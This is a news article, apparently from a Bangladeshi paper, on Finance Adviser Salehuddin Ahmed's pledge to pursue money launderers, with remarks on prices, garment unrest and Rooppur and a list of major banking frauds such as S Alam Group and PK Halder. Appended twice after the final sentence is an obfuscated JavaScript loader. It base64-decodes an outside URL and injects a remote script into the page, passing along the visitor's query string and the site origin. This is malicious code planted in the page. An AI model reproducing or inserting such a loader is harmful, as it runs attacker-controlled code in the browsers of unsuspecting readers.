Financial fraudsters to be nabbed: Salehuddin

Staff Reporter :

The government is intensifying efforts to apprehend key figures behind financial corruption, including money launderers, Finance and Commerce Adviser Salehuddin Ahmed said on Saturday.

“Many of their bank accounts have already been seized. This is just the first step. Further investigations will follow, and if found guilty, they will face prosecution,” the adviser stated during a press briefing on Saturday at the Bangladesh Institute of Governance and Management (BIGM) in Dhaka.

When asked about the persistently high prices of essential commodities, Salehuddin remarked, “It’s not that prices haven’t decreased at all, but the issue won’t be solved overnight. Prices will gradually come down. Measures have already been taken, such as reducing import duties on potatoes and onions.”

He further explained, “The government is cracking down on market manipulators. Deputy Commissioners have been directed to take appropriate action, and regular market supervision will continue. However, we must also ensure that producers receive fair prices for their goods.”

Regarding the ongoing unrest in the garment sector, Salehuddin reassured that the situation would soon stabilise as law enforcement increased its efforts to curb disruptions. He noted that authorities were actively targeting malicious outsiders in areas such as Ashulia, Bypail, and Gazipur.

“Discussions are ongoing with factory owners, workers, and political parties to address the instability in the garment sector. The situation will be resolved shortly,” he added.
“Our primary

responsibility is to listen to the workers’ concerns,” Salehuddin emphasised. “We are in constant talks with factory owners, and while the police alone can’t handle the unrest, the army and Border Guard Bangladesh (BGB) are also involved.

I’ve been coordinating with the commerce ministry and trade bodies, and we will hold further meetings on Sunday and Monday. All stakeholders are engaged, and we’ve sent strong messages to the major players.

This issue will be resolved soon.”
When questioned about the timeline for completing the second nuclear power plant in Rooppur, the adviser responded, “We are scheduled to meet with the Rooppur technical team in the next few days. Several tasks remain incomplete, particularly in the area of transmission.”

Regarding the National Board of Revenue’s (NBR) decision to eliminate the option to whiten black money, Salehuddin noted, “With the removal of this opportunity, the NBR will be better positioned to catch embezzlers and those with illicit assets.”

But it remains a challenge for the financial data generators to figure out the total amount of financial fraudulence S Alam Group robbed over Tk 90,000 crore in loans from Islami Bank Bangladesh PLC.

About Tk 92,261 crore was embezzled in 24 major banking scams between 2008 and 2023, according to a study by the Centre for Policy Dialogue (CPD). This staggering amount is equivalent to 12% of Bangladesh’s national budget for the 2023-24 fiscal year or 2% of the country’s gross domestic product (GDP) for the 2022-23 fiscal year.
Major financial fraudulences include:
1. S Alam Group: The controversial S Alam Group withdrew over Tk 90,000 crore in loans from Islami Bank Bangladesh, accounting for more than 50% of the bank’s total loan portfolio, according to the bank’s newly appointed chairman, Md Obayed Ullah Al Masud. The group secured these loans both in their name and through anonymous accounts. The exact figure is still under investigation.

2.Hallmark Group: Tanvir Mahmud, Managing Director of Hallmark Group, along with 26 others, misappropriated around Tk 4,357 crore from the state-owned Sonali Bank through fraudulent activities.
3. Crescent and AnonTex Group: These groups were involved in financial fraud amounting to Tk 10,000 crore.

4. Bismillah Group: This group, along with its fake sister concerns, embezzled and laundered Tk 1,174.46 crore.

5. PK Halder: Former Managing Director of NRB Global Bank, Proshanta Kumar Halder, also known as PK Halder, misappropriated over Tk 3,000 crore from three financial institutions.

6. Thermax Group: This group received LC benefits worth Tk 816 crore.
7. Islami Bank: A probe is currently underway at Islami Bank Bangladesh regarding Tk 7,246 crore in loans given to nine firms, with allegations of breach of rules.

These scandals reflect deep-seated issues in Bangladesh’s banking sector, raising concerns over financial governance and the role of oversight bodies.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();